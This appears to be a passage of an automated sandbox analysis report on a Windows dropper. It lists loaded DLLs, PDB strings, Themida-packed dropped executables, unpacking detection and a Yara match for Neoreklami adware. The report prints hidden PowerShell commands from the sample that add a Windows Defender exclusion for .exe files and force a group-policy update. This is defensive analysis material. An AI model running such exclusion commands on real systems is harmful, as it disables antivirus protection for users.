Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Section loaded: davhlpr.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: acgenral.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msacm32.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmmbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmmbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fhsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msidle.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fhcfg.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: efsutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncasvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: httpprxp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wpdbusenum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceconnectapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: w32time.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9ac9fbe1-e0a2-4ad6-b4ee-e212013ea917}\InProcServer32

Jump to behavior

Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe

File written: C:\Users\user\AppData\Local\Temp\!@tA09A.tmp.dir\setup.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: lgX7lgUL1w.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: lgX7lgUL1w.exe

Static file information: File size 1843424 > 1048576

Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: lgX7lgUL1w.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: lgX7lgUL1w.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: lgX7lgUL1w.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: lgX7lgUL1w.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: lgX7lgUL1w.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: lgX7lgUL1w.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: lgX7lgUL1w.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: lgX7lgUL1w.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460357142.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457134681.0000000004DC2000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1458012640.0000000004D51000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1462785010.000000000515A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000000.1290598899.00000001409DF000.00000080.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\806392\out\Release\Installer.pdb source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1334164364.0000000004E44000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1335128422.0000000004F05000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bash.pdbGCTL source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bash.pdb source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: notepad.pdbGCTL source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: notepad.pdb source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000000.1290598899.0000000140BB1000.00000080.00000001.01000000.0000000E.sdmp
Source:	Binary string: auditpol.pdbGCTL source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\constructicon\builds\gfx\three\20.10\drivers\2d\dal\eeu\atieah\build\wNow64a\B_rel\atieah64.pdb source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000000.1290598899.0000000140BB1000.00000080.00000001.01000000.0000000E.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdbhhh source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420338649.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426212707.0000000004460000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426427943.0000000004461000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420528579.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdb source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420338649.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426212707.0000000004460000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426427943.0000000004461000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420528579.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\615425\out\Release\360Installer.pdb0pH\| source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000000.1257115899.0000000000471000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: auditpol.pdb source: iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\615425\out\Release\360Installer.pdb source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000000.1257115899.0000000000471000.00000002.00000001.01000000.00000006.sdmp

Source: lgX7lgUL1w.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: lgX7lgUL1w.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: lgX7lgUL1w.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: lgX7lgUL1w.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: lgX7lgUL1w.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Unpacked PE file: 8.2.PZ3hKWPffUrXuh6Gjn77Ivv1.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\Pictures\E6ijlcXzCqRG7r61JO0b9evs.exe	Unpacked PE file: 38.2.E6ijlcXzCqRG7r61JO0b9evs.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force

Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe

Code function: 18_2_00418320 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

18_2_00418320

Source: initial sample

Static PE information: section where entry point is pointing to: .themida

Source: lgX7lgUL1w.exe	Static PE information: section name: .managed
Source: lgX7lgUL1w.exe	Static PE information: section name: hydrated
Source: lgX7lgUL1w.exe	Static PE information: section name: _RDATA
Source: lgX7lgUL1w.exe.0.dr	Static PE information: section name: .managed
Source: lgX7lgUL1w.exe.0.dr	Static PE information: section name: hydrated
Source: lgX7lgUL1w.exe.0.dr	Static PE information: section name: _RDATA
Source: DYOHZPW0D22LInRRNxYgymyV.exe.5.dr	Static PE information: section name:
Source: DYOHZPW0D22LInRRNxYgymyV.exe.5.dr	Static PE information: section name:
Source: DYOHZPW0D22LInRRNxYgymyV.exe.5.dr	Static PE information: section name: .themida
Source: EXHYoUWbk2EtGfzPiFxOh4fX.exe.5.dr	Static PE information: section name: .sxdata
Source: PBZVagSpvy50LOBQHCjW6qX9.exe.5.dr	Static PE information: section name:
Source: PBZVagSpvy50LOBQHCjW6qX9.exe.5.dr	Static PE information: section name:
Source: PBZVagSpvy50LOBQHCjW6qX9.exe.5.dr	Static PE information: section name: .themida
Source: o3bvuCFHWJf8oEmP3T0jhkMM.exe.5.dr	Static PE information: section name: .sxdata
Source: JRER40VeoC2Q4ducOjAkB8be.exe.5.dr	Static PE information: section name:
Source: JRER40VeoC2Q4ducOjAkB8be.exe.5.dr	Static PE information: section name:
Source: JRER40VeoC2Q4ducOjAkB8be.exe.5.dr	Static PE information: section name: .themida
Source: iYU7jmLL0jPLxgjctxjq1ReZ.exe.5.dr	Static PE information: section name: .sxdata
Source: 2nhKzHIgDWCzStH9EAQv4dqj.exe.5.dr	Static PE information: section name:
Source: 2nhKzHIgDWCzStH9EAQv4dqj.exe.5.dr	Static PE information: section name:
Source: 2nhKzHIgDWCzStH9EAQv4dqj.exe.5.dr	Static PE information: section name: .themida
Source: gsV4lhPLd9AgpTxUWWWokC1J.exe.5.dr	Static PE information: section name: .sxdata
Source: oZEH3cHEU5SysFjbUbbRDrah.exe.5.dr	Static PE information: section name:
Source: oZEH3cHEU5SysFjbUbbRDrah.exe.5.dr	Static PE information: section name:
Source: oZEH3cHEU5SysFjbUbbRDrah.exe.5.dr	Static PE information: section name: .themida
Source: M5ZhHB9e1LKNIZlvmmjrpriI.exe.5.dr	Static PE information: section name:
Source: M5ZhHB9e1LKNIZlvmmjrpriI.exe.5.dr	Static PE information: section name:
Source: M5ZhHB9e1LKNIZlvmmjrpriI.exe.5.dr	Static PE information: section name: .themida
Source: oabRgCI78gjFIFXr0JEwCrFT.exe.5.dr	Static PE information: section name:
Source: oabRgCI78gjFIFXr0JEwCrFT.exe.5.dr	Static PE information: section name:
Source: oabRgCI78gjFIFXr0JEwCrFT.exe.5.dr	Static PE information: section name: .themida
Source: rCs1RclDFMYQLymrwE3zboPd.exe.5.dr	Static PE information: section name: .sxdata
Source: c12YwoiQ34lE0LgBRkxJOClX.exe.5.dr	Static PE information: section name:
Source: c12YwoiQ34lE0LgBRkxJOClX.exe.5.dr	Static PE information: section name:
Source: c12YwoiQ34lE0LgBRkxJOClX.exe.5.dr	Static PE information: section name: .themida
Source: PkqGBlFfXQGSePxTvCIfv7cw.exe.5.dr	Static PE information: section name: .sxdata
Source: gX97xQ1DxOEiWzmKIb4DOJWg.exe.5.dr	Static PE information: section name: .sxdata
Source: xCvbsgibKaoe0JrKdFZUHTO3.exe.5.dr	Static PE information: section name:
Source: xCvbsgibKaoe0JrKdFZUHTO3.exe.5.dr	Static PE information: section name:
Source: xCvbsgibKaoe0JrKdFZUHTO3.exe.5.dr	Static PE information: section name: .themida
Source: KFwijURKZUrjToqwGsuVqcsD.exe.5.dr	Static PE information: section name: .sxdata
Source: aqGWEPmkK0B9sJyfEBtpOpuJ.exe.5.dr	Static PE information: section name:
Source: aqGWEPmkK0B9sJyfEBtpOpuJ.exe.5.dr	Static PE information: section name:
Source: aqGWEPmkK0B9sJyfEBtpOpuJ.exe.5.dr	Static PE information: section name: .themida
Source: 04MMWMll6oQNYP44niQAKG8f.exe.5.dr	Static PE information: section name:
Source: 04MMWMll6oQNYP44niQAKG8f.exe.5.dr	Static PE information: section name:
Source: 04MMWMll6oQNYP44niQAKG8f.exe.5.dr	Static PE information: section name: .themida
Source: JRzNWYaVkGhoqBVKINyNWHZb.exe.5.dr	Static PE information: section name: .sxdata
Source: VEH3hOo7SH8Curivn14XA2XL.exe.5.dr	Static PE information: section name:
Source: VEH3hOo7SH8Curivn14XA2XL.exe.5.dr	Static PE information: section name:
Source: VEH3hOo7SH8Curivn14XA2XL.exe.5.dr	Static PE information: section name: .themida
Source: zl9WjeKTxMy8k8EbTBZdpElC.exe.5.dr	Static PE information: section name: .sxdata
Source: z7qYuSNnmN1T20mVDPQyJKNf.exe.5.dr	Static PE information: section name:
Source: z7qYuSNnmN1T20mVDPQyJKNf.exe.5.dr	Static PE information: section name:
Source: z7qYuSNnmN1T20mVDPQyJKNf.exe.5.dr	Static PE information: section name: .themida

Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Code function: 7_3_04D8E613 push ecx; retf	7_3_04D8E61B
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_00402CD7 push cs; retf	8_2_00402CD8
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_00401EA7 push 0000000Eh; retf 0038h	8_2_00401EB6
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_004033B6 push eax; ret	8_2_00403419
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_02E12D3E push cs; retf	8_2_02E12D3F
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_02E11F0E push 0000000Eh; retf 0038h	8_2_02E11F1D
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_0302391F push ss; iretw	8_2_03023931
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_03024934 push cs; retf	8_2_03024935
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_03023D52 push cs; retf 0038h	8_2_03023DD1
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_03024FA8 push eax; ret	8_2_03024FA9
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_03023DC2 push 0000000Eh; retf 0038h	8_2_03023DD1
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_03029DFE push 0000002Ah; iretd	8_2_03029E48
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_00411360 push ecx; mov dword ptr [esp], ecx	18_2_00411361
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_00413954 push eax; ret	18_2_00413972
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_00413CC0 push eax; ret	18_2_00413CEE
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Code function: 19_3_044174C2 push 0040E81Ch; ret	19_3_04417654
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Code function: 19_3_044174E0 push 0040E81Ch; ret	19_3_04417654
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Code function: 19_3_04421498 push ecx; mov dword ptr [esp], ecx	19_3_0442149B
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Code function: 19_3_044214B8 push ecx; mov dword ptr [esp], ecx	19_3_044214BB
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Code function: 19_3_0441064C push ecx; mov dword ptr [esp], eax	19_3_0441064D
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Code function: 19_3_0441765E push 0040E88Fh; ret	19_3_044176C7
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Code function: 19_3_04417660 push 0040E88Fh; ret	19_3_044176C7

Source: DYOHZPW0D22LInRRNxYgymyV.exe.5.dr	Static PE information: section name: entropy: 7.284719044401107
Source: PBZVagSpvy50LOBQHCjW6qX9.exe.5.dr	Static PE information: section name: entropy: 7.284719044401107
Source: JRER40VeoC2Q4ducOjAkB8be.exe.5.dr	Static PE information: section name: entropy: 7.284719044401107
Source: 2nhKzHIgDWCzStH9EAQv4dqj.exe.5.dr	Static PE information: section name: entropy: 7.284719044401107
Source: oZEH3cHEU5SysFjbUbbRDrah.exe.5.dr	Static PE information: section name: entropy: 7.284719044401107
Source: M5ZhHB9e1LKNIZlvmmjrpriI.exe.5.dr	Static PE information: section name: entropy: 7.284719044401107
Source: oabRgCI78gjFIFXr0JEwCrFT.exe.5.dr	Static PE information: section name: entropy: 7.284719044401107
Source: c12YwoiQ34lE0LgBRkxJOClX.exe.5.dr	Static PE information: section name: entropy: 7.284719044401107
Source: xCvbsgibKaoe0JrKdFZUHTO3.exe.5.dr	Static PE information: section name: entropy: 7.284719044401107
Source: aqGWEPmkK0B9sJyfEBtpOpuJ.exe.5.dr	Static PE information: section name: entropy: 7.284719044401107
Source: 04MMWMll6oQNYP44niQAKG8f.exe.5.dr	Static PE information: section name: entropy: 7.284719044401107
Source: VEH3hOo7SH8Curivn14XA2XL.exe.5.dr	Static PE information: section name: entropy: 7.284719044401107
Source: z7qYuSNnmN1T20mVDPQyJKNf.exe.5.dr	Static PE information: section name: entropy: 7.284719044401107

Persistence and Installation Behavior

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 8020, type: MEMORYSTR

Drops PE files to the document folder of the user

